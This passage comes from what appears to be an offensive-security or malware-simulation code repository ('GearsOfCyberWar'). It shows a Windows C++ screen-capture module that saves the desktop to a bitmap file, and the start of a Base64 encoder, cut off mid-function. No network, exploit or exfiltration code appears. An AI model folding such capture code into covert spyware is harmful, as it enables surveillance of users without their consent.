█▀▀▀▀█▀▀▀▀▀██▀▀▀▀██▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▓▒▀▀▀▀▀▀▀▀▀▀█▓▀ ▀▀▀██▀▀▀▀▀▀▀▀▀▓▓▀▀▀▀▀▀▀▀▀▌ 3 | ▌▄██▌ ▄▓██▄ ▀▄█▓▄▐ ▄▓█▓▓▀█ ▄▓██▀▓██▓▄ ▌▄█▓█▀███▓▄ ▌▄█▓█ ▀ ▄▓██▀▓██▓▄ ▄█▓█▀███▄■ 4 | ▌▀▓█▓▐▓██▓▓█ ▐▓█▓▌▐▓███▌■ ▒▓██▌ ▓██▓▌▐▓▒█▌▄ ▓██▓▌▐▓▒█▌▐ ▒▓██▌ ▓██▓▌▓▒█▌ ▓█▓▌ 5 | ▐▓▄▄▌░▓▓█▓▐▓▌ █▓▓▌░▓▓█▓▄▄ ▓▓██▓▄▄▓█▓▓▌░▓█▓ █ ▓█▓▓▌░▓█▓ ▒ ▓▓██▓▄▄▓█▓▓▌▓█▓ ░ ▓█▓▓ 6 | ▐▓▓█▌▓▓▓█▌ █▓▐██▓▌▐▓▒▓▌ ▄ ▐░▓█▌▄ ▀▀▀ ▐▓▓▓ ▐▌ ▀▀▀ ▐▓▓▓▄▄ ▐░▓█▌▄ ▀▀▀ ▓▓▓ ░ ██▓▓ 7 | ▐▓▓▓█▐▓▒██ ██▓▓▓▌▐▓▓██ █▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌ ▐▓▓▒▌▀ ███░▌▓▓▒▌ ███░ 8 | ▒▓▓█▌▒▓▓█▌ ▐▓█▒▒ ▒▓██▌▐█ ▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▒ ▒▒▓█ ▓▌▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▌ 9 | ▌ ▒▒░▀ ▓▒▓▀ ▀░▒▓ ▐▌ ▓▓▓▀ █ █▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀ █▒▓▀▀░█▓ ▒▒▓▀▀░█▀ 10 | █▄ ▀ ▄▄ ▀▄▄▀■ ▀ ▀▓█▄ ▀ ▄█▓█▄ ▀ ▓▄▄▄▄▄█▀ ▄▀ ▄▄▄▄▄▄█▓▄ ▀ ▄▄█▓▄▀ ▄▓▄█▄▀ ▄▄▄█▌ 11 | ▐████▓█▀ ▄▄█▓▓███▄▄ ▀▓▓████████████▓▀▄██▄▀▓██████▓▓██▓▓▓█▀▀▄▄███▓▓▄▄▄▀▀█▓████▌ 12 | ░░▌▓▓▌ ▄▒▒▓▓▓▀▀█████▄ ▀▒░▄ ███▓█▀▀ ▄▓█▌▐▒█▄▀▀▀█▓█████▓▓▀ ▄█████▀▀▓▓▓▒▒▄ ▐▓▓▐░░ 13 | ▐▒▒█▌ ▐░▓▓██▌ ▀▀█▓█▓▄▄▄ ▀█▀▀ ▄▒▓██▀▀ ▀▀██▓▓▄ ▀▀█▀ ▄▄▄▓█▓█▀ ▀ ▐██▓▓░▌ ▐█▒▒▌ 14 | ▀▓█ ░▒▓███ ▄█▀▀▀▀▀▀▀█▓ ▄▒▓██▀ ▄▓▄ ▀▓██▓▄ ▓█▀▀▀▀▀▀▀▄█ ███▓▒░ █▓▀ 15 | ▄█▀ ▀▒▓██▓▌ █▓ ▄▄█▓▓▄▄▄░▒▀▀ ▄▄ ▓░▒▓▓ ▄▄ ▀▀█▓▄▄▄▓▓█▄▄ ▓ █ ▐▓██▓▒▀ ▀█▄ 16 | ▐▓▌ ▀▓█▀▀ ▄▓▓▓█▀ ▄▀▀ ▄▄▀▀ ▀▀▀ ▀▀▄▄ ▀▀▄ ▀█▓▓▓▄▄ ▀▀█▓▀ ▐▓▌ 17 | ██ ▄▄▒█▐▒██▀ ▐▌ ■▀ ▄▄░▒▒▓████▓▄▄ ▀■ ▐▌ ▀██▒▌█▒▄▄ ██ 18 | ▐▒▌ ▄▓▓▓█▒▒▒▓▌ ▀▄ ▄▓▒▒▒███████████▒▓▓▄ ▄▀ ▐▓▒▒▒█▓▓▓▄ ▐▒▌ 19 | ▓▓▌ ▐▒██▀ ▐▒█▀ ▄▄▓▒▒▒▒▓███████████████▓▓▓▄ ▀█▒▌ ▀██▒▌ ▐▓▓ 20 | ▀█ ▒▒▓▌ ▒▓▌ ▄▓▒▒▒▒█░█▓██████████████████▓▓▓▓▄ ▐▓▒ ▐▓▒▒ █▀ 21 | ▄█▀▀ ▐▒█▀ ▐▓▓ ▓░░▓▒▒▓▓▓████████████████████▓▓▓▓▒▓ ▓▓▌ ▀█▒▌ ▀▀█▄ 22 | ▐▓▌ ▒▓▌ ▄▄▒█▌▄ ▐░▒▒▓▓▓▀▀ ▀█▓█████████████▓▀▀█▓▓▓▓▌ ▄▐█▒▄▄ ▐▓▒ ▐▓▌ 23 | ██ ▐▓▓ ▄▓▓▓█▒▓▌ ░▒░░▒▀ ▓▓█████████▓▀ ▀░▓▒▓▌ ▐▓▒█▓▓▓▄ ▓▓▌ ██ 24 | ▐▒▌ ▒█▐▒██▀ ▒▓ ▐░░▒█ ▓ ▀ ▐▓████████▓▌ ▀ █ ▐▓▓▓ ▓▒ ▀██▒▌█▒ ▐▒▌ 25 | ▓▓▌ ▒▒▒▓▌ ▀▒ ▀░▒▓▒▄ ▀▄▄█ █████████▓ ▐▌ ▄▀ ▄▒▓▒▌ ▒▀ ▐▓▒▒▒ ▐▓▓ 26 | ▀█ ▐▒█▀▄▄ ▀▀█▓█▄▄ ▄█▒█▓▓▓▀▓████▄▀▀ ▄█▓█▒▀ ▄▄▀█▒▌ █▀ 27 | ▄█▀▀ ▒▓▌▒▓▓▓▄ ▄░▒▓▄▄▀▓█▓████▓▀▀ ▓███▓█████▀▄▄▄ ▄▓▓▓▒▐▓▒ ▀▀█▄ 28 | ▐▓▌ ▐▓▓ ▀██▒▌ ▐░▒▒▒▓██▄███▓▀ ▀▓██▓██▀▄█▓▒▓▓▄ ▐▒██▀ ▓▓▌ ▐▓▌ 29 | ██ ▒█▒█▌ ▐▓▒▒ ░░▒▒█▓▓▓███▓▀ ▀▓████▓▓█▓█▓▓█ ▒▒▓▌ ▐█▒█▒ ██ 30 | ▐▒▌ ▐▓▓ ▒▓▌ ▀█▒▌ ▒░▒░▒░▓▓██▓▄ ▄▄▄▓▄ ▄█▒▒█▒▒▓▓▒▓▓▓▌▐▒█▀ ▐▓▒ ▓▓▌ ▐▒▌ 31 | ▓▓▌ ▒▓▌ ▒▓ ▐▓▒ ▀░░▒▒▒█████▓▄ ▄▓█████████▓██▒▒▒▒▓▓▓▒▓ ▒▓▌ ▓▒ ▐▓▒ ▐▓▓ 32 | ▀█ ▐▒█▄ ▀▒ ▓▓▌ ▀▒░▒▓███▀▀▀▀▓█▀▀▀▀▀█▀▀▀▀▓▓█▓▒▓▓▒░▀ ▐▓▓ ▒▀ ▄█▒▌ █▀ 33 | ▄█▀▀ ▒▒▓▌ ▐▄▒ ▀▀ ▄▓▓ █▄▄ ▄▀▀▀▄▄▀▄▀▀▀▄ ▀▀▀▀ ▒▄▌ ▐▓▒▒ ▀▀█▄ 34 | ▐▓▌ ▐▒██▄ ▐▒▓ ▄▄▒█▌▄ ▐▒▒▌▀▐▌▀█▌ ▀▓ ▐█▌▀▀▌▒▌ ▄▐█▒▄▄ ▓▒▌ ▄██▒▌ ▐▓▌ 35 | ██ cXc[CPH]▓▓█▒▓▌ ▄▓▓▓█▒▓▌ ▒▒▒██▄ ▄▄▀ ▄▄█▓▓█▓▒ ▐▓▒█▓▓▓ ▄▐▓▒█▓▓▓▀ ██ 36 | ▐▒▌ ▀▀▒█▌▀▐▒██▀ ▐▒▓ ▀▒▒▒████████▓█▓▄▀▀ ▓▒▌ ▀██▐▒▀▐█▒▀▀ ▐▒▌ 37 | ▓▓▌ ▐▓▓ ▒▒▒▓▌█▒▌▐▀▒ ▀░▒▒▓▓▓█▓▀▀ ▒▀▌▐▒█▐▓▒▒▒ ▓▓▌ ▐▓▓ 38 | ▄▀█ ▒▄▌▐▒█▀▓▒▄▒ ▓▓▌ ▀▀▀▀ ▐▓▓ ▒▄▒▓▀▒█▌▐▄▒ █▀▄ 39 | ▐▓▌ ▀ ▓▒▌ ▄██▒▌ ▐▒██ ▄▐▒▓ ▀ ▐▓▌ 40 | ██ ▐▓▒█▓▓▓▀ ▀▓▓█▓▒▓▌ ██ 41 | ▐▒▌ ▄▄▄▓█▀■▀▐█▒▀▀ ▀▒▀█▌▀■▀█▓▄▄▄ ▐▒▌ 42 | ▓▄▄███▓▀▀ ▀▀█▓██▄▄▓ 43 | ▄█▓▀▀ ▀▀▓█▄ 44 | █▓ ▓█ 45 | ▓▒ ▒▓ 46 | ▓ ▓ 47 | // Copyright (C) 2015 Jonathan Racicot 48 | // 49 | // This program is free software: you can redistribute it and/or modify 50 | // it under the terms of the GNU General Public License as published by 51 | // the Free Software Foundation, either version 3 of the License, or 52 | // (at your option) any later version. 53 | // 54 | // This program is distributed in the hope that it will be useful, 55 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 56 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 57 | // GNU General Public License for more details. 58 | // 59 | // You should have received a copy of the GNU General Public License 60 | // along with this program. If not, see . 61 | // 62 | // Jonathan Racicot 63 | // infectedpacket@gmail.com 64 | // 2015-03-01 65 | // 66 | ▓ ▓ 67 | ▓▌ ▐▓ 68 | ▓█▄▄ ▄▄█▓ 69 | ▓▐▓▓█▄▄ ▄▄█▓▓▌▓ 70 | ▓ ▀█▓██▄▄▄▄ ▄▄██▄▄▄ ▄▄▄██▄▄ ▄▄▄▄██▓█▀ ▓ 71 | ▓ ▀█▓█▀████▄█▀▀▀▀▄▄▄▀▀▄ ▄▀▀▄▄▄▀▀▀▀█▄████▀█▓█▀ ▓ 72 | ▓ ▄█▓█▄████▀█▄▄▄▄▀▀▀▄▄▀ ▀▄▄▀▀▀▄▄▄▄█▀████▄█▓█▄ ▓ 73 | ▓ ▄█▓██▀▀▀▀ ▀▀██▀▀▀ ▀▀▀██▀▀ ▀▀▀▀██▓█▄ ▓ 74 | ▓▐▓▓█▀▀ ▀▀█▓▓▌▓ 75 | ▓█▀▀ ▀▀▓▓███▀▀ ▀▀███▓▓▀▀ ▀▀█▓ 76 | ▄▒▒▓▓▓▀▀█████▄ ▄█████▀▀▓▓▓▒▒▄ 77 | ░▒▓█▄▄▓▓███▄▄▀▀▀▀▀█▓ ▄▒▓██▀ ▀▓██▓▄ ▓█▀▀▀▀▀▄▄███▓▓▄▄█▓▒░ 78 | ▄█▀ ▀▄▒▒▓▓▓▀▀█████▄▓▓▄▄▄░▒▀▀ ▀▀█▓▄▄▄▓▓▄█████▀▀▓▓▓▒▒▄▀ ▀█▄ 79 | ▀▒▒▓▓▓▄▄█████▀ ▀█████▄▄▓▓▓▒▒▀ 80 | ▀▒▒▀▀▓▓███▀▀█▀ ▀█▀▀███▓▓▀▀▒▒▀ 81 | ▀▀▓▓███▀▀ ▀████▓▓▀▀ 82 | ██ ■▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄■ █▓ 83 | ▀█▓▄ NFO HEADER & LAYOUT BY CoaXCable/CoolPHay▄██▓ 84 | ▀▀▀████████████████████████████████████████▓▀▀▀ 85 | ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ 86 | */ 87 | #include 88 | #include 89 | #include "TakeScreenshot.h" 90 | #include 91 | #include 92 | #include 93 | //LPCWSTR filename 94 | 95 | /** 96 | 97 | 98 | 99 | 100 | 101 | 102 | */ 103 | bool SaveScreenCaptureToBitmap(HANDLE hOutput, HBITMAP bmp, HPALETTE pal) 104 | { 105 | bool result = false; 106 | PICTDESC pictureDescription; 107 | 108 | pictureDescription.cbSizeofstruct = sizeof(PICTDESC); 109 | pictureDescription.picType = PICTYPE_BITMAP; 110 | pictureDescription.bmp.hbitmap = bmp; 111 | pictureDescription.bmp.hpal = pal; 112 | 113 | LPPICTURE picture; 114 | HRESULT hResult = OleCreatePictureIndirect(&pictureDescription, IID_IPicture, false, 115 | reinterpret_cast(&picture)); 116 | 117 | if (!SUCCEEDED(hResult)) { 118 | return false; 119 | } 120 | 121 | LPSTREAM stream; 122 | hResult = CreateStreamOnHGlobal(0, true, &stream); 123 | 124 | if (!SUCCEEDED(hResult)) 125 | { 126 | picture->Release(); 127 | return false; 128 | } 129 | 130 | LONG bytes_streamed; 131 | hResult = picture->SaveAsFile(stream, true, &bytes_streamed); 132 | 133 | if (!SUCCEEDED(hResult) || hOutput == INVALID_HANDLE_VALUE) 134 | { 135 | stream->Release(); 136 | picture->Release(); 137 | return false; 138 | } 139 | 140 | HGLOBAL mem = 0; 141 | GetHGlobalFromStream(stream, &mem); 142 | LPVOID data = GlobalLock(mem); 143 | 144 | DWORD bytes_written; 145 | 146 | result = !!WriteFile(hOutput, data, bytes_streamed, &bytes_written, 0); 147 | result &= (bytes_written == static_cast(bytes_streamed)); 148 | 149 | GlobalUnlock(mem); 150 | 151 | stream->Release(); 152 | picture->Release(); 153 | 154 | return result; 155 | } 156 | 157 | /** 158 | 159 | 160 | 161 | wchar_t* ScreenshotFile = L"C:\\tmp\\screenshot.bmp"; 162 | HANDLE hOutput = CreateFile(ScreenshotFile, GENERIC_WRITE, FILE_SHARE_READ, 0, 163 | CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); 164 | result = TakeScreenCapture(hOutput); 165 | CloseHandle(hOutput); 166 | 167 | A handle to a file or stream to which 168 | the bitmap will be written. 169 | Returns true if the function completed successfully, 170 | otherwise returns false 171 | */ 172 | bool TakeScreenCapture(HANDLE hOutputFile){ 173 | HDC hdcSource = GetDC(NULL); //Get context to desktop window 174 | HDC hdcMemory = CreateCompatibleDC(hdcSource); //Get context to memory 175 | 176 | int ScreenWidth = GetSystemMetrics(SM_CXVIRTUALSCREEN); 177 | int ScreenHeight = GetSystemMetrics(SM_CYVIRTUALSCREEN); 178 | 179 | int capX = GetDeviceCaps(hdcSource, HORZRES); 180 | int capY = GetDeviceCaps(hdcSource, VERTRES); 181 | 182 | HBITMAP hBitmap = CreateCompatibleBitmap(hdcSource, 183 | ScreenWidth, ScreenHeight); 184 | HBITMAP hBitmapOld = (HBITMAP)SelectObject(hdcMemory, hBitmap); 185 | 186 | BitBlt(hdcMemory, 0, 0, ScreenWidth, ScreenHeight, hdcSource, 0, 0, SRCCOPY); 187 | hBitmap = (HBITMAP)SelectObject(hdcMemory, hBitmapOld); 188 | 189 | DeleteDC(hdcSource); 190 | DeleteDC(hdcMemory); 191 | return SaveScreenCaptureToBitmap(hOutputFile, hBitmap, NULL); 192 | } 193 | 194 | 195 | 196 | int TestScreenshot() { 197 | int result = 0; 198 | wchar_t* ScreenshotFile = L"C:\\tmp\\screenshot.bmp"; 199 | HANDLE hOutput = CreateFile(ScreenshotFile, GENERIC_WRITE, FILE_SHARE_READ, 0, 200 | CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); 201 | printf("[*] Taking capture of screen...\n"); 202 | result = TakeScreenCapture(hOutput); 203 | CloseHandle(hOutput); 204 | hOutput = NULL; 205 | ScreenshotFile = NULL; 206 | return result; 207 | } -------------------------------------------------------------------------------- /GearsOfCyberWar/src/Base64.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | █▀▀▀▀█▀▀▀▀▀██▀▀▀▀██▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▓▒▀▀▀▀▀▀▀▀▀▀█▓▀ ▀▀▀██▀▀▀▀▀▀▀▀▀▓▓▀▀▀▀▀▀▀▀▀▌ 3 | ▌▄██▌ ▄▓██▄ ▀▄█▓▄▐ ▄▓█▓▓▀█ ▄▓██▀▓██▓▄ ▌▄█▓█▀███▓▄ ▌▄█▓█ ▀ ▄▓██▀▓██▓▄ ▄█▓█▀███▄■ 4 | ▌▀▓█▓▐▓██▓▓█ ▐▓█▓▌▐▓███▌■ ▒▓██▌ ▓██▓▌▐▓▒█▌▄ ▓██▓▌▐▓▒█▌▐ ▒▓██▌ ▓██▓▌▓▒█▌ ▓█▓▌ 5 | ▐▓▄▄▌░▓▓█▓▐▓▌ █▓▓▌░▓▓█▓▄▄ ▓▓██▓▄▄▓█▓▓▌░▓█▓ █ ▓█▓▓▌░▓█▓ ▒ ▓▓██▓▄▄▓█▓▓▌▓█▓ ░ ▓█▓▓ 6 | ▐▓▓█▌▓▓▓█▌ █▓▐██▓▌▐▓▒▓▌ ▄ ▐░▓█▌▄ ▀▀▀ ▐▓▓▓ ▐▌ ▀▀▀ ▐▓▓▓▄▄ ▐░▓█▌▄ ▀▀▀ ▓▓▓ ░ ██▓▓ 7 | ▐▓▓▓█▐▓▒██ ██▓▓▓▌▐▓▓██ █▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌ ▐▓▓▒▌▀ ███░▌▓▓▒▌ ███░ 8 | ▒▓▓█▌▒▓▓█▌ ▐▓█▒▒ ▒▓██▌▐█ ▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▒ ▒▒▓█ ▓▌▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▌ 9 | ▌ ▒▒░▀ ▓▒▓▀ ▀░▒▓ ▐▌ ▓▓▓▀ █ █▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀ █▒▓▀▀░█▓ ▒▒▓▀▀░█▀ 10 | █▄ ▀ ▄▄ ▀▄▄▀■ ▀ ▀▓█▄ ▀ ▄█▓█▄ ▀ ▓▄▄▄▄▄█▀ ▄▀ ▄▄▄▄▄▄█▓▄ ▀ ▄▄█▓▄▀ ▄▓▄█▄▀ ▄▄▄█▌ 11 | ▐████▓█▀ ▄▄█▓▓███▄▄ ▀▓▓████████████▓▀▄██▄▀▓██████▓▓██▓▓▓█▀▀▄▄███▓▓▄▄▄▀▀█▓████▌ 12 | ░░▌▓▓▌ ▄▒▒▓▓▓▀▀█████▄ ▀▒░▄ ███▓█▀▀ ▄▓█▌▐▒█▄▀▀▀█▓█████▓▓▀ ▄█████▀▀▓▓▓▒▒▄ ▐▓▓▐░░ 13 | ▐▒▒█▌ ▐░▓▓██▌ ▀▀█▓█▓▄▄▄ ▀█▀▀ ▄▒▓██▀▀ ▀▀██▓▓▄ ▀▀█▀ ▄▄▄▓█▓█▀ ▀ ▐██▓▓░▌ ▐█▒▒▌ 14 | ▀▓█ ░▒▓███ ▄█▀▀▀▀▀▀▀█▓ ▄▒▓██▀ ▄▓▄ ▀▓██▓▄ ▓█▀▀▀▀▀▀▀▄█ ███▓▒░ █▓▀ 15 | ▄█▀ ▀▒▓██▓▌ █▓ ▄▄█▓▓▄▄▄░▒▀▀ ▄▄ ▓░▒▓▓ ▄▄ ▀▀█▓▄▄▄▓▓█▄▄ ▓ █ ▐▓██▓▒▀ ▀█▄ 16 | ▐▓▌ ▀▓█▀▀ ▄▓▓▓█▀ ▄▀▀ ▄▄▀▀ ▀▀▀ ▀▀▄▄ ▀▀▄ ▀█▓▓▓▄▄ ▀▀█▓▀ ▐▓▌ 17 | ██ ▄▄▒█▐▒██▀ ▐▌ ■▀ ▄▄░▒▒▓████▓▄▄ ▀■ ▐▌ ▀██▒▌█▒▄▄ ██ 18 | ▐▒▌ ▄▓▓▓█▒▒▒▓▌ ▀▄ ▄▓▒▒▒███████████▒▓▓▄ ▄▀ ▐▓▒▒▒█▓▓▓▄ ▐▒▌ 19 | ▓▓▌ ▐▒██▀ ▐▒█▀ ▄▄▓▒▒▒▒▓███████████████▓▓▓▄ ▀█▒▌ ▀██▒▌ ▐▓▓ 20 | ▀█ ▒▒▓▌ ▒▓▌ ▄▓▒▒▒▒█░█▓██████████████████▓▓▓▓▄ ▐▓▒ ▐▓▒▒ █▀ 21 | ▄█▀▀ ▐▒█▀ ▐▓▓ ▓░░▓▒▒▓▓▓████████████████████▓▓▓▓▒▓ ▓▓▌ ▀█▒▌ ▀▀█▄ 22 | ▐▓▌ ▒▓▌ ▄▄▒█▌▄ ▐░▒▒▓▓▓▀▀ ▀█▓█████████████▓▀▀█▓▓▓▓▌ ▄▐█▒▄▄ ▐▓▒ ▐▓▌ 23 | ██ ▐▓▓ ▄▓▓▓█▒▓▌ ░▒░░▒▀ ▓▓█████████▓▀ ▀░▓▒▓▌ ▐▓▒█▓▓▓▄ ▓▓▌ ██ 24 | ▐▒▌ ▒█▐▒██▀ ▒▓ ▐░░▒█ ▓ ▀ ▐▓████████▓▌ ▀ █ ▐▓▓▓ ▓▒ ▀██▒▌█▒ ▐▒▌ 25 | ▓▓▌ ▒▒▒▓▌ ▀▒ ▀░▒▓▒▄ ▀▄▄█ █████████▓ ▐▌ ▄▀ ▄▒▓▒▌ ▒▀ ▐▓▒▒▒ ▐▓▓ 26 | ▀█ ▐▒█▀▄▄ ▀▀█▓█▄▄ ▄█▒█▓▓▓▀▓████▄▀▀ ▄█▓█▒▀ ▄▄▀█▒▌ █▀ 27 | ▄█▀▀ ▒▓▌▒▓▓▓▄ ▄░▒▓▄▄▀▓█▓████▓▀▀ ▓███▓█████▀▄▄▄ ▄▓▓▓▒▐▓▒ ▀▀█▄ 28 | ▐▓▌ ▐▓▓ ▀██▒▌ ▐░▒▒▒▓██▄███▓▀ ▀▓██▓██▀▄█▓▒▓▓▄ ▐▒██▀ ▓▓▌ ▐▓▌ 29 | ██ ▒█▒█▌ ▐▓▒▒ ░░▒▒█▓▓▓███▓▀ ▀▓████▓▓█▓█▓▓█ ▒▒▓▌ ▐█▒█▒ ██ 30 | ▐▒▌ ▐▓▓ ▒▓▌ ▀█▒▌ ▒░▒░▒░▓▓██▓▄ ▄▄▄▓▄ ▄█▒▒█▒▒▓▓▒▓▓▓▌▐▒█▀ ▐▓▒ ▓▓▌ ▐▒▌ 31 | ▓▓▌ ▒▓▌ ▒▓ ▐▓▒ ▀░░▒▒▒█████▓▄ ▄▓█████████▓██▒▒▒▒▓▓▓▒▓ ▒▓▌ ▓▒ ▐▓▒ ▐▓▓ 32 | ▀█ ▐▒█▄ ▀▒ ▓▓▌ ▀▒░▒▓███▀▀▀▀▓█▀▀▀▀▀█▀▀▀▀▓▓█▓▒▓▓▒░▀ ▐▓▓ ▒▀ ▄█▒▌ █▀ 33 | ▄█▀▀ ▒▒▓▌ ▐▄▒ ▀▀ ▄▓▓ █▄▄ ▄▀▀▀▄▄▀▄▀▀▀▄ ▀▀▀▀ ▒▄▌ ▐▓▒▒ ▀▀█▄ 34 | ▐▓▌ ▐▒██▄ ▐▒▓ ▄▄▒█▌▄ ▐▒▒▌▀▐▌▀█▌ ▀▓ ▐█▌▀▀▌▒▌ ▄▐█▒▄▄ ▓▒▌ ▄██▒▌ ▐▓▌ 35 | ██ cXc[CPH]▓▓█▒▓▌ ▄▓▓▓█▒▓▌ ▒▒▒██▄ ▄▄▀ ▄▄█▓▓█▓▒ ▐▓▒█▓▓▓ ▄▐▓▒█▓▓▓▀ ██ 36 | ▐▒▌ ▀▀▒█▌▀▐▒██▀ ▐▒▓ ▀▒▒▒████████▓█▓▄▀▀ ▓▒▌ ▀██▐▒▀▐█▒▀▀ ▐▒▌ 37 | ▓▓▌ ▐▓▓ ▒▒▒▓▌█▒▌▐▀▒ ▀░▒▒▓▓▓█▓▀▀ ▒▀▌▐▒█▐▓▒▒▒ ▓▓▌ ▐▓▓ 38 | ▄▀█ ▒▄▌▐▒█▀▓▒▄▒ ▓▓▌ ▀▀▀▀ ▐▓▓ ▒▄▒▓▀▒█▌▐▄▒ █▀▄ 39 | ▐▓▌ ▀ ▓▒▌ ▄██▒▌ ▐▒██ ▄▐▒▓ ▀ ▐▓▌ 40 | ██ ▐▓▒█▓▓▓▀ ▀▓▓█▓▒▓▌ ██ 41 | ▐▒▌ ▄▄▄▓█▀■▀▐█▒▀▀ ▀▒▀█▌▀■▀█▓▄▄▄ ▐▒▌ 42 | ▓▄▄███▓▀▀ ▀▀█▓██▄▄▓ 43 | ▄█▓▀▀ ▀▀▓█▄ 44 | █▓ ▓█ 45 | ▓▒ ▒▓ 46 | ▓ ▓ 47 | // 48 | // C++ Base64 Encoder/Decoder. 49 | // Copyright (C) 2015 Jonathan Racicot 50 | // 51 | // This program is free software: you can redistribute it and/or modify 52 | // it under the terms of the GNU General Public License as published by 53 | // the Free Software Foundation, either version 3 of the License, or 54 | // (at your option) any later version. 55 | // 56 | // This program is distributed in the hope that it will be useful, 57 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 58 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 59 | // GNU General Public License for more details. 60 | // 61 | // You should have received a copy of the GNU General Public License 62 | // along with this program. If not, see . 63 | // 64 | // Jonathan Racicot 65 | // infectedpacket@gmail.com 66 | // 2015-03-01 67 | // C++ implementation of the Base64 encoder/decoder function. 68 | 69 | ▓ ▓ 70 | ▓▌ ▐▓ 71 | ▓█▄▄ ▄▄█▓ 72 | ▓▐▓▓█▄▄ ▄▄█▓▓▌▓ 73 | ▓ ▀█▓██▄▄▄▄ ▄▄██▄▄▄ ▄▄▄██▄▄ ▄▄▄▄██▓█▀ ▓ 74 | ▓ ▀█▓█▀████▄█▀▀▀▀▄▄▄▀▀▄ ▄▀▀▄▄▄▀▀▀▀█▄████▀█▓█▀ ▓ 75 | ▓ ▄█▓█▄████▀█▄▄▄▄▀▀▀▄▄▀ ▀▄▄▀▀▀▄▄▄▄█▀████▄█▓█▄ ▓ 76 | ▓ ▄█▓██▀▀▀▀ ▀▀██▀▀▀ ▀▀▀██▀▀ ▀▀▀▀██▓█▄ ▓ 77 | ▓▐▓▓█▀▀ ▀▀█▓▓▌▓ 78 | ▓█▀▀ ▀▀▓▓███▀▀ ▀▀███▓▓▀▀ ▀▀█▓ 79 | ▄▒▒▓▓▓▀▀█████▄ ▄█████▀▀▓▓▓▒▒▄ 80 | ░▒▓█▄▄▓▓███▄▄▀▀▀▀▀█▓ ▄▒▓██▀ ▀▓██▓▄ ▓█▀▀▀▀▀▄▄███▓▓▄▄█▓▒░ 81 | ▄█▀ ▀▄▒▒▓▓▓▀▀█████▄▓▓▄▄▄░▒▀▀ ▀▀█▓▄▄▄▓▓▄█████▀▀▓▓▓▒▒▄▀ ▀█▄ 82 | ▀▒▒▓▓▓▄▄█████▀ ▀█████▄▄▓▓▓▒▒▀ 83 | ▀▒▒▀▀▓▓███▀▀█▀ ▀█▀▀███▓▓▀▀▒▒▀ 84 | ▀▀▓▓███▀▀ ▀████▓▓▀▀ 85 | ██ ■▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄■ █▓ 86 | ▀█▓▄ NFO HEADER & LAYOUT BY CoaXCable/CoolPHay▄██▓ 87 | ▀▀▀████████████████████████████████████████▓▀▀▀ 88 | ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ 89 | */ 90 | #include 91 | #include 92 | #include "Base64.h" 93 | 94 | /** 95 | Standard alphabet for Base64 encoding. 96 | */ 97 | const static char* RegularAlphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" ; 98 | 99 | /** 100 | Encodes a given string using the standard Base64 encoding algorithm 101 | using the specified alphabet. 102 | The array of bytes to encode. 103 | The number of bytes contained in the array. 104 | The alphabet to used in conjunction with the base64 105 | algorithm. 106 | The padding character to used. The standard character 107 | is the equal sign (=). 108 | The length of the resulting byte array of encoded 109 | data. 110 | Returns an array of encoded bytes. 111 | */ 112 | char* Base64Encode(const unsigned char* PlainData, unsigned int DataLength, 113 | const char* Alphabet, unsigned char PaddingChar, 114 | unsigned int* EncodedDataLength) { 115 | 116 | int ByteCounter = 0; 117 | int ByteIndex = 0; 118 | int PaddingLen = (((DataLength%3)&1)<<1)+(((DataLength%3)&2)>>1); 119 | *EncodedDataLength = 4*(DataLength+PaddingLen)/3; 120 | char* EncodedData = new char[*EncodedDataLength+1]; 121 | 122 | if (!EncodedData) { 123 | return 0; 124 | } 125 | 126 | unsigned char* TempByteArray3 = new unsigned char[3]; 127 | for(ByteIndex = 0; ByteIndex <= DataLength-3; ByteIndex += 3) { 128 | TempByteArray3[0] = PlainData[ByteIndex]; 129 | TempByteArray3[1] = PlainData[ByteIndex+1]; 130 | TempByteArray3[2] = PlainData[ByteIndex+2]; 131 | 132 | EncodedData[ByteCounter++] = Alphabet[TempByteArray3[0] >> 2]; 133 | EncodedData[ByteCounter++] = Alphabet[((0x03&TempByteArray3[0])<<4) + (TempByteArray3[1] >> 4)]; 134 | EncodedData[ByteCounter++] = Alphabet[((0x0F&TempByteArray3[1])<<2) + (TempByteArray3[2] >> 6)]; 135 | EncodedData[ByteCounter++] = Alphabet[(0x3F&TempByteArray3[2])]; 136 | } //end for 137 | 138 | if (PaddingLen == 2) 139 | { 140 | EncodedData[ByteCounter++] = Alphabet[PlainData[ByteIndex] >> 2]; 141 | EncodedData[ByteCounter++] = Alphabet[(0x3F&PlainData[ByteIndex]) << 4]; 142 | EncodedData[ByteCounter++] = PaddingChar; 143 | EncodedData[ByteCounter++] = PaddingChar; 144 | } else if (PaddingLen == 1) { 145 | EncodedData[ByteCounter++] = Alphabet[PlainData[ByteIndex] >> 2]; 146 | 